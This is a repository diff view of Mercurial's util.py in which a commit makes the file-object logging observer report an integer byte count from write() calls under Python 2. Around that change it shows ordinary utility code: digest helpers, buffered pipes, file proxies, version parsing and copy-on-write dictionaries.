##// END OF EJS Templates
util: report integer result from write()...
Gregory Szorc -
r36649:8395fddd default
parent child Browse files
Show More
@@ -1,4054 +1,4059 b''
1 1 # util.py - Mercurial utility functions and platform specific implementations
2 2 #
3 3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 6 #
7 7 # This software may be used and distributed according to the terms of the
8 8 # GNU General Public License version 2 or any later version.
9 9
10 10 """Mercurial utility functions and platform specific implementations.
11 11
12 12 This contains helper routines that are independent of the SCM core and
13 13 hide platform-specific details from the core.
14 14 """
15 15
16 16 from __future__ import absolute_import, print_function
17 17
18 18 import abc
19 19 import bz2
20 20 import codecs
21 21 import collections
22 22 import contextlib
23 23 import errno
24 24 import gc
25 25 import hashlib
26 26 import imp
27 27 import io
28 28 import itertools
29 29 import mmap
30 30 import os
31 31 import platform as pyplatform
32 32 import re as remod
33 33 import shutil
34 34 import signal
35 35 import socket
36 36 import stat
37 37 import string
38 38 import subprocess
39 39 import sys
40 40 import tempfile
41 41 import textwrap
42 42 import time
43 43 import traceback
44 44 import warnings
45 45 import zlib
46 46
47 47 from . import (
48 48 encoding,
49 49 error,
50 50 i18n,
51 51 node as nodemod,
52 52 policy,
53 53 pycompat,
54 54 urllibcompat,
55 55 )
56 56 from .utils import dateutil
57 57
58 58 base85 = policy.importmod(r'base85')
59 59 osutil = policy.importmod(r'osutil')
60 60 parsers = policy.importmod(r'parsers')
61 61
62 62 b85decode = base85.b85decode
63 63 b85encode = base85.b85encode
64 64
65 65 cookielib = pycompat.cookielib
66 66 empty = pycompat.empty
67 67 httplib = pycompat.httplib
68 68 pickle = pycompat.pickle
69 69 queue = pycompat.queue
70 70 socketserver = pycompat.socketserver
71 71 stderr = pycompat.stderr
72 72 stdin = pycompat.stdin
73 73 stdout = pycompat.stdout
74 74 stringio = pycompat.stringio
75 75 xmlrpclib = pycompat.xmlrpclib
76 76
77 77 httpserver = urllibcompat.httpserver
78 78 urlerr = urllibcompat.urlerr
79 79 urlreq = urllibcompat.urlreq
80 80
81 81 # workaround for win32mbcs
82 82 _filenamebytestr = pycompat.bytestr
83 83
84 84 def isatty(fp):
85 85 try:
86 86 return fp.isatty()
87 87 except AttributeError:
88 88 return False
89 89
90 90 # glibc determines buffering on first write to stdout - if we replace a TTY
91 91 # destined stdout with a pipe destined stdout (e.g. pager), we want line
92 92 # buffering
93 93 if isatty(stdout):
94 94 stdout = os.fdopen(stdout.fileno(), pycompat.sysstr('wb'), 1)
95 95
96 96 if pycompat.iswindows:
97 97 from . import windows as platform
98 98 stdout = platform.winstdout(stdout)
99 99 else:
100 100 from . import posix as platform
101 101
102 102 _ = i18n._
103 103
104 104 bindunixsocket = platform.bindunixsocket
105 105 cachestat = platform.cachestat
106 106 checkexec = platform.checkexec
107 107 checklink = platform.checklink
108 108 copymode = platform.copymode
109 109 executablepath = platform.executablepath
110 110 expandglobs = platform.expandglobs
111 111 explainexit = platform.explainexit
112 112 findexe = platform.findexe
113 113 getfsmountpoint = platform.getfsmountpoint
114 114 getfstype = platform.getfstype
115 115 gethgcmd = platform.gethgcmd
116 116 getuser = platform.getuser
117 117 getpid = os.getpid
118 118 groupmembers = platform.groupmembers
119 119 groupname = platform.groupname
120 120 hidewindow = platform.hidewindow
121 121 isexec = platform.isexec
122 122 isowner = platform.isowner
123 123 listdir = osutil.listdir
124 124 localpath = platform.localpath
125 125 lookupreg = platform.lookupreg
126 126 makedir = platform.makedir
127 127 nlinks = platform.nlinks
128 128 normpath = platform.normpath
129 129 normcase = platform.normcase
130 130 normcasespec = platform.normcasespec
131 131 normcasefallback = platform.normcasefallback
132 132 openhardlinks = platform.openhardlinks
133 133 oslink = platform.oslink
134 134 parsepatchoutput = platform.parsepatchoutput
135 135 pconvert = platform.pconvert
136 136 poll = platform.poll
137 137 popen = platform.popen
138 138 posixfile = platform.posixfile
139 139 quotecommand = platform.quotecommand
140 140 readpipe = platform.readpipe
141 141 rename = platform.rename
142 142 removedirs = platform.removedirs
143 143 samedevice = platform.samedevice
144 144 samefile = platform.samefile
145 145 samestat = platform.samestat
146 146 setbinary = platform.setbinary
147 147 setflags = platform.setflags
148 148 setsignalhandler = platform.setsignalhandler
149 149 shellquote = platform.shellquote
150 150 shellsplit = platform.shellsplit
151 151 spawndetached = platform.spawndetached
152 152 split = platform.split
153 153 sshargs = platform.sshargs
154 154 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
155 155 statisexec = platform.statisexec
156 156 statislink = platform.statislink
157 157 testpid = platform.testpid
158 158 umask = platform.umask
159 159 unlink = platform.unlink
160 160 username = platform.username
161 161
162 162 try:
163 163 recvfds = osutil.recvfds
164 164 except AttributeError:
165 165 pass
166 166 try:
167 167 setprocname = osutil.setprocname
168 168 except AttributeError:
169 169 pass
170 170 try:
171 171 unblocksignal = osutil.unblocksignal
172 172 except AttributeError:
173 173 pass
174 174
175 175 # Python compatibility
176 176
177 177 _notset = object()
178 178
179 179 # disable Python's problematic floating point timestamps (issue4836)
180 180 # (Python hypocritically says you shouldn't change this behavior in
181 181 # libraries, and sure enough Mercurial is not a library.)
182 182 os.stat_float_times(False)
183 183
184 184 def safehasattr(thing, attr):
185 185 return getattr(thing, attr, _notset) is not _notset
186 186
187 187 def _rapply(f, xs):
188 188 if xs is None:
189 189 # assume None means non-value of optional data
190 190 return xs
191 191 if isinstance(xs, (list, set, tuple)):
192 192 return type(xs)(_rapply(f, x) for x in xs)
193 193 if isinstance(xs, dict):
194 194 return type(xs)((_rapply(f, k), _rapply(f, v)) for k, v in xs.items())
195 195 return f(xs)
196 196
197 197 def rapply(f, xs):
198 198 """Apply function recursively to every item preserving the data structure
199 199
200 200 >>> def f(x):
201 201 ... return 'f(%s)' % x
202 202 >>> rapply(f, None) is None
203 203 True
204 204 >>> rapply(f, 'a')
205 205 'f(a)'
206 206 >>> rapply(f, {'a'}) == {'f(a)'}
207 207 True
208 208 >>> rapply(f, ['a', 'b', None, {'c': 'd'}, []])
209 209 ['f(a)', 'f(b)', None, {'f(c)': 'f(d)'}, []]
210 210
211 211 >>> xs = [object()]
212 212 >>> rapply(pycompat.identity, xs) is xs
213 213 True
214 214 """
215 215 if f is pycompat.identity:
216 216 # fast path mainly for py2
217 217 return xs
218 218 return _rapply(f, xs)
219 219
220 220 def bytesinput(fin, fout, *args, **kwargs):
221 221 sin, sout = sys.stdin, sys.stdout
222 222 try:
223 223 sys.stdin, sys.stdout = encoding.strio(fin), encoding.strio(fout)
224 224 return encoding.strtolocal(pycompat.rawinput(*args, **kwargs))
225 225 finally:
226 226 sys.stdin, sys.stdout = sin, sout
227 227
228 228 def bitsfrom(container):
229 229 bits = 0
230 230 for bit in container:
231 231 bits |= bit
232 232 return bits
233 233
234 234 # python 2.6 still have deprecation warning enabled by default. We do not want
235 235 # to display anything to standard user so detect if we are running test and
236 236 # only use python deprecation warning in this case.
237 237 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
238 238 if _dowarn:
239 239 # explicitly unfilter our warning for python 2.7
240 240 #
241 241 # The option of setting PYTHONWARNINGS in the test runner was investigated.
242 242 # However, module name set through PYTHONWARNINGS was exactly matched, so
243 243 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
244 244 # makes the whole PYTHONWARNINGS thing useless for our usecase.
245 245 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
246 246 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
247 247 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
248 248 if _dowarn and pycompat.ispy3:
249 249 # silence warning emitted by passing user string to re.sub()
250 250 warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
251 251 r'mercurial')
252 252
253 253 def nouideprecwarn(msg, version, stacklevel=1):
254 254 """Issue an python native deprecation warning
255 255
256 256 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
257 257 """
258 258 if _dowarn:
259 259 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
260 260 " update your code.)") % version
261 261 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
262 262
263 263 DIGESTS = {
264 264 'md5': hashlib.md5,
265 265 'sha1': hashlib.sha1,
266 266 'sha512': hashlib.sha512,
267 267 }
268 268 # List of digest types from strongest to weakest
269 269 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
270 270
271 271 for k in DIGESTS_BY_STRENGTH:
272 272 assert k in DIGESTS
273 273
274 274 class digester(object):
275 275 """helper to compute digests.
276 276
277 277 This helper can be used to compute one or more digests given their name.
278 278
279 279 >>> d = digester([b'md5', b'sha1'])
280 280 >>> d.update(b'foo')
281 281 >>> [k for k in sorted(d)]
282 282 ['md5', 'sha1']
283 283 >>> d[b'md5']
284 284 'acbd18db4cc2f85cedef654fccc4a4d8'
285 285 >>> d[b'sha1']
286 286 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
287 287 >>> digester.preferred([b'md5', b'sha1'])
288 288 'sha1'
289 289 """
290 290
291 291 def __init__(self, digests, s=''):
292 292 self._hashes = {}
293 293 for k in digests:
294 294 if k not in DIGESTS:
295 295 raise Abort(_('unknown digest type: %s') % k)
296 296 self._hashes[k] = DIGESTS[k]()
297 297 if s:
298 298 self.update(s)
299 299
300 300 def update(self, data):
301 301 for h in self._hashes.values():
302 302 h.update(data)
303 303
304 304 def __getitem__(self, key):
305 305 if key not in DIGESTS:
306 306 raise Abort(_('unknown digest type: %s') % k)
307 307 return nodemod.hex(self._hashes[key].digest())
308 308
309 309 def __iter__(self):
310 310 return iter(self._hashes)
311 311
312 312 @staticmethod
313 313 def preferred(supported):
314 314 """returns the strongest digest type in both supported and DIGESTS."""
315 315
316 316 for k in DIGESTS_BY_STRENGTH:
317 317 if k in supported:
318 318 return k
319 319 return None
320 320
321 321 class digestchecker(object):
322 322 """file handle wrapper that additionally checks content against a given
323 323 size and digests.
324 324
325 325 d = digestchecker(fh, size, {'md5': '...'})
326 326
327 327 When multiple digests are given, all of them are validated.
328 328 """
329 329
330 330 def __init__(self, fh, size, digests):
331 331 self._fh = fh
332 332 self._size = size
333 333 self._got = 0
334 334 self._digests = dict(digests)
335 335 self._digester = digester(self._digests.keys())
336 336
337 337 def read(self, length=-1):
338 338 content = self._fh.read(length)
339 339 self._digester.update(content)
340 340 self._got += len(content)
341 341 return content
342 342
343 343 def validate(self):
344 344 if self._size != self._got:
345 345 raise Abort(_('size mismatch: expected %d, got %d') %
346 346 (self._size, self._got))
347 347 for k, v in self._digests.items():
348 348 if v != self._digester[k]:
349 349 # i18n: first parameter is a digest name
350 350 raise Abort(_('%s mismatch: expected %s, got %s') %
351 351 (k, v, self._digester[k]))
352 352
353 353 try:
354 354 buffer = buffer
355 355 except NameError:
356 356 def buffer(sliceable, offset=0, length=None):
357 357 if length is not None:
358 358 return memoryview(sliceable)[offset:offset + length]
359 359 return memoryview(sliceable)[offset:]
360 360
361 361 closefds = pycompat.isposix
362 362
363 363 _chunksize = 4096
364 364
365 365 class bufferedinputpipe(object):
366 366 """a manually buffered input pipe
367 367
368 368 Python will not let us use buffered IO and lazy reading with 'polling' at
369 369 the same time. We cannot probe the buffer state and select will not detect
370 370 that data are ready to read if they are already buffered.
371 371
372 372 This class let us work around that by implementing its own buffering
373 373 (allowing efficient readline) while offering a way to know if the buffer is
374 374 empty from the output (allowing collaboration of the buffer with polling).
375 375
376 376 This class lives in the 'util' module because it makes use of the 'os'
377 377 module from the python stdlib.
378 378 """
379 379 def __new__(cls, fh):
380 380 # If we receive a fileobjectproxy, we need to use a variation of this
381 381 # class that notifies observers about activity.
382 382 if isinstance(fh, fileobjectproxy):
383 383 cls = observedbufferedinputpipe
384 384
385 385 return super(bufferedinputpipe, cls).__new__(cls)
386 386
387 387 def __init__(self, input):
388 388 self._input = input
389 389 self._buffer = []
390 390 self._eof = False
391 391 self._lenbuf = 0
392 392
393 393 @property
394 394 def hasbuffer(self):
395 395 """True is any data is currently buffered
396 396
397 397 This will be used externally a pre-step for polling IO. If there is
398 398 already data then no polling should be set in place."""
399 399 return bool(self._buffer)
400 400
401 401 @property
402 402 def closed(self):
403 403 return self._input.closed
404 404
405 405 def fileno(self):
406 406 return self._input.fileno()
407 407
408 408 def close(self):
409 409 return self._input.close()
410 410
411 411 def read(self, size):
412 412 while (not self._eof) and (self._lenbuf < size):
413 413 self._fillbuffer()
414 414 return self._frombuffer(size)
415 415
416 416 def readline(self, *args, **kwargs):
417 417 if 1 < len(self._buffer):
418 418 # this should not happen because both read and readline end with a
419 419 # _frombuffer call that collapse it.
420 420 self._buffer = [''.join(self._buffer)]
421 421 self._lenbuf = len(self._buffer[0])
422 422 lfi = -1
423 423 if self._buffer:
424 424 lfi = self._buffer[-1].find('\n')
425 425 while (not self._eof) and lfi < 0:
426 426 self._fillbuffer()
427 427 if self._buffer:
428 428 lfi = self._buffer[-1].find('\n')
429 429 size = lfi + 1
430 430 if lfi < 0: # end of file
431 431 size = self._lenbuf
432 432 elif 1 < len(self._buffer):
433 433 # we need to take previous chunks into account
434 434 size += self._lenbuf - len(self._buffer[-1])
435 435 return self._frombuffer(size)
436 436
437 437 def _frombuffer(self, size):
438 438 """return at most 'size' data from the buffer
439 439
440 440 The data are removed from the buffer."""
441 441 if size == 0 or not self._buffer:
442 442 return ''
443 443 buf = self._buffer[0]
444 444 if 1 < len(self._buffer):
445 445 buf = ''.join(self._buffer)
446 446
447 447 data = buf[:size]
448 448 buf = buf[len(data):]
449 449 if buf:
450 450 self._buffer = [buf]
451 451 self._lenbuf = len(buf)
452 452 else:
453 453 self._buffer = []
454 454 self._lenbuf = 0
455 455 return data
456 456
457 457 def _fillbuffer(self):
458 458 """read data to the buffer"""
459 459 data = os.read(self._input.fileno(), _chunksize)
460 460 if not data:
461 461 self._eof = True
462 462 else:
463 463 self._lenbuf += len(data)
464 464 self._buffer.append(data)
465 465
466 466 return data
467 467
468 468 def mmapread(fp):
469 469 try:
470 470 fd = getattr(fp, 'fileno', lambda: fp)()
471 471 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
472 472 except ValueError:
473 473 # Empty files cannot be mmapped, but mmapread should still work. Check
474 474 # if the file is empty, and if so, return an empty buffer.
475 475 if os.fstat(fd).st_size == 0:
476 476 return ''
477 477 raise
478 478
479 479 def popen2(cmd, env=None, newlines=False):
480 480 # Setting bufsize to -1 lets the system decide the buffer size.
481 481 # The default for bufsize is 0, meaning unbuffered. This leads to
482 482 # poor performance on Mac OS X: http://bugs.python.org/issue4194
483 483 p = subprocess.Popen(cmd, shell=True, bufsize=-1,
484 484 close_fds=closefds,
485 485 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
486 486 universal_newlines=newlines,
487 487 env=env)
488 488 return p.stdin, p.stdout
489 489
490 490 def popen3(cmd, env=None, newlines=False):
491 491 stdin, stdout, stderr, p = popen4(cmd, env, newlines)
492 492 return stdin, stdout, stderr
493 493
494 494 def popen4(cmd, env=None, newlines=False, bufsize=-1):
495 495 p = subprocess.Popen(cmd, shell=True, bufsize=bufsize,
496 496 close_fds=closefds,
497 497 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
498 498 stderr=subprocess.PIPE,
499 499 universal_newlines=newlines,
500 500 env=env)
501 501 return p.stdin, p.stdout, p.stderr, p
502 502
503 503 class fileobjectproxy(object):
504 504 """A proxy around file objects that tells a watcher when events occur.
505 505
506 506 This type is intended to only be used for testing purposes. Think hard
507 507 before using it in important code.
508 508 """
509 509 __slots__ = (
510 510 r'_orig',
511 511 r'_observer',
512 512 )
513 513
514 514 def __init__(self, fh, observer):
515 515 object.__setattr__(self, r'_orig', fh)
516 516 object.__setattr__(self, r'_observer', observer)
517 517
518 518 def __getattribute__(self, name):
519 519 ours = {
520 520 r'_observer',
521 521
522 522 # IOBase
523 523 r'close',
524 524 # closed if a property
525 525 r'fileno',
526 526 r'flush',
527 527 r'isatty',
528 528 r'readable',
529 529 r'readline',
530 530 r'readlines',
531 531 r'seek',
532 532 r'seekable',
533 533 r'tell',
534 534 r'truncate',
535 535 r'writable',
536 536 r'writelines',
537 537 # RawIOBase
538 538 r'read',
539 539 r'readall',
540 540 r'readinto',
541 541 r'write',
542 542 # BufferedIOBase
543 543 # raw is a property
544 544 r'detach',
545 545 # read defined above
546 546 r'read1',
547 547 # readinto defined above
548 548 # write defined above
549 549 }
550 550
551 551 # We only observe some methods.
552 552 if name in ours:
553 553 return object.__getattribute__(self, name)
554 554
555 555 return getattr(object.__getattribute__(self, r'_orig'), name)
556 556
557 557 def __delattr__(self, name):
558 558 return delattr(object.__getattribute__(self, r'_orig'), name)
559 559
560 560 def __setattr__(self, name, value):
561 561 return setattr(object.__getattribute__(self, r'_orig'), name, value)
562 562
563 563 def __iter__(self):
564 564 return object.__getattribute__(self, r'_orig').__iter__()
565 565
566 566 def _observedcall(self, name, *args, **kwargs):
567 567 # Call the original object.
568 568 orig = object.__getattribute__(self, r'_orig')
569 569 res = getattr(orig, name)(*args, **kwargs)
570 570
571 571 # Call a method on the observer of the same name with arguments
572 572 # so it can react, log, etc.
573 573 observer = object.__getattribute__(self, r'_observer')
574 574 fn = getattr(observer, name, None)
575 575 if fn:
576 576 fn(res, *args, **kwargs)
577 577
578 578 return res
579 579
580 580 def close(self, *args, **kwargs):
581 581 return object.__getattribute__(self, r'_observedcall')(
582 582 r'close', *args, **kwargs)
583 583
584 584 def fileno(self, *args, **kwargs):
585 585 return object.__getattribute__(self, r'_observedcall')(
586 586 r'fileno', *args, **kwargs)
587 587
588 588 def flush(self, *args, **kwargs):
589 589 return object.__getattribute__(self, r'_observedcall')(
590 590 r'flush', *args, **kwargs)
591 591
592 592 def isatty(self, *args, **kwargs):
593 593 return object.__getattribute__(self, r'_observedcall')(
594 594 r'isatty', *args, **kwargs)
595 595
596 596 def readable(self, *args, **kwargs):
597 597 return object.__getattribute__(self, r'_observedcall')(
598 598 r'readable', *args, **kwargs)
599 599
600 600 def readline(self, *args, **kwargs):
601 601 return object.__getattribute__(self, r'_observedcall')(
602 602 r'readline', *args, **kwargs)
603 603
604 604 def readlines(self, *args, **kwargs):
605 605 return object.__getattribute__(self, r'_observedcall')(
606 606 r'readlines', *args, **kwargs)
607 607
608 608 def seek(self, *args, **kwargs):
609 609 return object.__getattribute__(self, r'_observedcall')(
610 610 r'seek', *args, **kwargs)
611 611
612 612 def seekable(self, *args, **kwargs):
613 613 return object.__getattribute__(self, r'_observedcall')(
614 614 r'seekable', *args, **kwargs)
615 615
616 616 def tell(self, *args, **kwargs):
617 617 return object.__getattribute__(self, r'_observedcall')(
618 618 r'tell', *args, **kwargs)
619 619
620 620 def truncate(self, *args, **kwargs):
621 621 return object.__getattribute__(self, r'_observedcall')(
622 622 r'truncate', *args, **kwargs)
623 623
624 624 def writable(self, *args, **kwargs):
625 625 return object.__getattribute__(self, r'_observedcall')(
626 626 r'writable', *args, **kwargs)
627 627
628 628 def writelines(self, *args, **kwargs):
629 629 return object.__getattribute__(self, r'_observedcall')(
630 630 r'writelines', *args, **kwargs)
631 631
632 632 def read(self, *args, **kwargs):
633 633 return object.__getattribute__(self, r'_observedcall')(
634 634 r'read', *args, **kwargs)
635 635
636 636 def readall(self, *args, **kwargs):
637 637 return object.__getattribute__(self, r'_observedcall')(
638 638 r'readall', *args, **kwargs)
639 639
640 640 def readinto(self, *args, **kwargs):
641 641 return object.__getattribute__(self, r'_observedcall')(
642 642 r'readinto', *args, **kwargs)
643 643
644 644 def write(self, *args, **kwargs):
645 645 return object.__getattribute__(self, r'_observedcall')(
646 646 r'write', *args, **kwargs)
647 647
648 648 def detach(self, *args, **kwargs):
649 649 return object.__getattribute__(self, r'_observedcall')(
650 650 r'detach', *args, **kwargs)
651 651
652 652 def read1(self, *args, **kwargs):
653 653 return object.__getattribute__(self, r'_observedcall')(
654 654 r'read1', *args, **kwargs)
655 655
656 656 class observedbufferedinputpipe(bufferedinputpipe):
657 657 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
658 658
659 659 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
660 660 bypass ``fileobjectproxy``. Because of this, we need to make
661 661 ``bufferedinputpipe`` aware of these operations.
662 662
663 663 This variation of ``bufferedinputpipe`` can notify observers about
664 664 ``os.read()`` events. It also re-publishes other events, such as
665 665 ``read()`` and ``readline()``.
666 666 """
667 667 def _fillbuffer(self):
668 668 res = super(observedbufferedinputpipe, self)._fillbuffer()
669 669
670 670 fn = getattr(self._input._observer, r'osread', None)
671 671 if fn:
672 672 fn(res, _chunksize)
673 673
674 674 return res
675 675
676 676 # We use different observer methods because the operation isn't
677 677 # performed on the actual file object but on us.
678 678 def read(self, size):
679 679 res = super(observedbufferedinputpipe, self).read(size)
680 680
681 681 fn = getattr(self._input._observer, r'bufferedread', None)
682 682 if fn:
683 683 fn(res, size)
684 684
685 685 return res
686 686
687 687 def readline(self, *args, **kwargs):
688 688 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
689 689
690 690 fn = getattr(self._input._observer, r'bufferedreadline', None)
691 691 if fn:
692 692 fn(res)
693 693
694 694 return res
695 695
696 696 DATA_ESCAPE_MAP = {pycompat.bytechr(i): br'\x%02x' % i for i in range(256)}
697 697 DATA_ESCAPE_MAP.update({
698 698 b'\\': b'\\\\',
699 699 b'\r': br'\r',
700 700 b'\n': br'\n',
701 701 })
702 702 DATA_ESCAPE_RE = remod.compile(br'[\x00-\x08\x0a-\x1f\\\x7f-\xff]')
703 703
704 704 def escapedata(s):
705 705 if isinstance(s, bytearray):
706 706 s = bytes(s)
707 707
708 708 return DATA_ESCAPE_RE.sub(lambda m: DATA_ESCAPE_MAP[m.group(0)], s)
709 709
710 710 class fileobjectobserver(object):
711 711 """Logs file object activity."""
712 712 def __init__(self, fh, name, reads=True, writes=True, logdata=False):
713 713 self.fh = fh
714 714 self.name = name
715 715 self.logdata = logdata
716 716 self.reads = reads
717 717 self.writes = writes
718 718
719 719 def _writedata(self, data):
720 720 if not self.logdata:
721 721 self.fh.write('\n')
722 722 return
723 723
724 724 # Simple case writes all data on a single line.
725 725 if b'\n' not in data:
726 726 self.fh.write(': %s\n' % escapedata(data))
727 727 return
728 728
729 729 # Data with newlines is written to multiple lines.
730 730 self.fh.write(':\n')
731 731 lines = data.splitlines(True)
732 732 for line in lines:
733 733 self.fh.write('%s> %s\n' % (self.name, escapedata(line)))
734 734
735 735 def read(self, res, size=-1):
736 736 if not self.reads:
737 737 return
738 738 # Python 3 can return None from reads at EOF instead of empty strings.
739 739 if res is None:
740 740 res = ''
741 741
742 742 self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
743 743 self._writedata(res)
744 744
745 745 def readline(self, res, limit=-1):
746 746 if not self.reads:
747 747 return
748 748
749 749 self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
750 750 self._writedata(res)
751 751
752 752 def readinto(self, res, dest):
753 753 if not self.reads:
754 754 return
755 755
756 756 self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest),
757 757 res))
758 758 data = dest[0:res] if res is not None else b''
759 759 self._writedata(data)
760 760
761 761 def write(self, res, data):
762 762 if not self.writes:
763 763 return
764 764
765 # Python 2 returns None from some write() calls. Python 3 (reasonably)
766 # returns the integer bytes written.
767 if res is None and data:
768 res = len(data)
769
765 770 self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
766 771 self._writedata(data)
767 772
768 773 def flush(self, res):
769 774 if not self.writes:
770 775 return
771 776
772 777 self.fh.write('%s> flush() -> %r\n' % (self.name, res))
773 778
774 779 # For observedbufferedinputpipe.
775 780 def bufferedread(self, res, size):
776 781 self.fh.write('%s> bufferedread(%d) -> %d' % (
777 782 self.name, size, len(res)))
778 783 self._writedata(res)
779 784
780 785 def bufferedreadline(self, res):
781 786 self.fh.write('%s> bufferedreadline() -> %d' % (self.name, len(res)))
782 787 self._writedata(res)
783 788
784 789 def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
785 790 logdata=False):
786 791 """Turn a file object into a logging file object."""
787 792
788 793 observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
789 794 logdata=logdata)
790 795 return fileobjectproxy(fh, observer)
791 796
792 797 def version():
793 798 """Return version information if available."""
794 799 try:
795 800 from . import __version__
796 801 return __version__.version
797 802 except ImportError:
798 803 return 'unknown'
799 804
800 805 def versiontuple(v=None, n=4):
801 806 """Parses a Mercurial version string into an N-tuple.
802 807
803 808 The version string to be parsed is specified with the ``v`` argument.
804 809 If it isn't defined, the current Mercurial version string will be parsed.
805 810
806 811 ``n`` can be 2, 3, or 4. Here is how some version strings map to
807 812 returned values:
808 813
809 814 >>> v = b'3.6.1+190-df9b73d2d444'
810 815 >>> versiontuple(v, 2)
811 816 (3, 6)
812 817 >>> versiontuple(v, 3)
813 818 (3, 6, 1)
814 819 >>> versiontuple(v, 4)
815 820 (3, 6, 1, '190-df9b73d2d444')
816 821
817 822 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
818 823 (3, 6, 1, '190-df9b73d2d444+20151118')
819 824
820 825 >>> v = b'3.6'
821 826 >>> versiontuple(v, 2)
822 827 (3, 6)
823 828 >>> versiontuple(v, 3)
824 829 (3, 6, None)
825 830 >>> versiontuple(v, 4)
826 831 (3, 6, None, None)
827 832
828 833 >>> v = b'3.9-rc'
829 834 >>> versiontuple(v, 2)
830 835 (3, 9)
831 836 >>> versiontuple(v, 3)
832 837 (3, 9, None)
833 838 >>> versiontuple(v, 4)
834 839 (3, 9, None, 'rc')
835 840
836 841 >>> v = b'3.9-rc+2-02a8fea4289b'
837 842 >>> versiontuple(v, 2)
838 843 (3, 9)
839 844 >>> versiontuple(v, 3)
840 845 (3, 9, None)
841 846 >>> versiontuple(v, 4)
842 847 (3, 9, None, 'rc+2-02a8fea4289b')
843 848 """
844 849 if not v:
845 850 v = version()
846 851 parts = remod.split('[\+-]', v, 1)
847 852 if len(parts) == 1:
848 853 vparts, extra = parts[0], None
849 854 else:
850 855 vparts, extra = parts
851 856
852 857 vints = []
853 858 for i in vparts.split('.'):
854 859 try:
855 860 vints.append(int(i))
856 861 except ValueError:
857 862 break
858 863 # (3, 6) -> (3, 6, None)
859 864 while len(vints) < 3:
860 865 vints.append(None)
861 866
862 867 if n == 2:
863 868 return (vints[0], vints[1])
864 869 if n == 3:
865 870 return (vints[0], vints[1], vints[2])
866 871 if n == 4:
867 872 return (vints[0], vints[1], vints[2], extra)
868 873
869 874 def cachefunc(func):
870 875 '''cache the result of function calls'''
871 876 # XXX doesn't handle keywords args
872 877 if func.__code__.co_argcount == 0:
873 878 cache = []
874 879 def f():
875 880 if len(cache) == 0:
876 881 cache.append(func())
877 882 return cache[0]
878 883 return f
879 884 cache = {}
880 885 if func.__code__.co_argcount == 1:
881 886 # we gain a small amount of time because
882 887 # we don't need to pack/unpack the list
883 888 def f(arg):
884 889 if arg not in cache:
885 890 cache[arg] = func(arg)
886 891 return cache[arg]
887 892 else:
888 893 def f(*args):
889 894 if args not in cache:
890 895 cache[args] = func(*args)
891 896 return cache[args]
892 897
893 898 return f
894 899
895 900 class cow(object):
896 901 """helper class to make copy-on-write easier
897 902
898 903 Call preparewrite before doing any writes.
899 904 """
900 905
901 906 def preparewrite(self):
902 907 """call this before writes, return self or a copied new object"""
903 908 if getattr(self, '_copied', 0):
904 909 self._copied -= 1
905 910 return self.__class__(self)
906 911 return self
907 912
908 913 def copy(self):
909 914 """always do a cheap copy"""
910 915 self._copied = getattr(self, '_copied', 0) + 1
911 916 return self
912 917
913 918 class sortdict(collections.OrderedDict):
914 919 '''a simple sorted dictionary
915 920
916 921 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
917 922 >>> d2 = d1.copy()
918 923 >>> d2
919 924 sortdict([('a', 0), ('b', 1)])
920 925 >>> d2.update([(b'a', 2)])
921 926 >>> list(d2.keys()) # should still be in last-set order
922 927 ['b', 'a']
923 928 '''
924 929
925 930 def __setitem__(self, key, value):
926 931 if key in self:
927 932 del self[key]
928 933 super(sortdict, self).__setitem__(key, value)
929 934
930 935 if pycompat.ispypy:
931 936 # __setitem__() isn't called as of PyPy 5.8.0
932 937 def update(self, src):
933 938 if isinstance(src, dict):
934 939 src = src.iteritems()
935 940 for k, v in src:
936 941 self[k] = v
937 942
938 943 class cowdict(cow, dict):
939 944 """copy-on-write dict
940 945
941 946 Be sure to call d = d.preparewrite() before writing to d.
942 947
943 948 >>> a = cowdict()
944 949 >>> a is a.preparewrite()
945 950 True
946 951 >>> b = a.copy()
947 952 >>> b is a
948 953 True
949 954 >>> c = b.copy()
950 955 >>> c is a
951 956 True
952 957 >>> a = a.preparewrite()
953 958 >>> b is a
954 959 False
955 960 >>> a is a.preparewrite()
956 961 True
957 962 >>> c = c.preparewrite()
958 963 >>> b is c
959 964 False
960 965 >>> b is b.preparewrite()
961 966 True
962 967 """
963 968
964 969 class cowsortdict(cow, sortdict):
965 970 """copy-on-write sortdict
966 971
967 972 Be sure to call d = d.preparewrite() before writing to d.
968 973 """
969 974
970 975 class transactional(object):
971 976 """Base class for making a transactional type into a context manager."""
972 977 __metaclass__ = abc.ABCMeta
973 978
974 979 @abc.abstractmethod
975 980 def close(self):
976 981 """Successfully closes the transaction."""
977 982
978 983 @abc.abstractmethod
979 984 def release(self):
980 985 """Marks the end of the transaction.
981 986
982 987 If the transaction has not been closed, it will be aborted.
983 988 """
984 989
985 990 def __enter__(self):
986 991 return self
987 992
988 993 def __exit__(self, exc_type, exc_val, exc_tb):
989 994 try:
990 995 if exc_type is None:
991 996 self.close()
992 997 finally:
993 998 self.release()
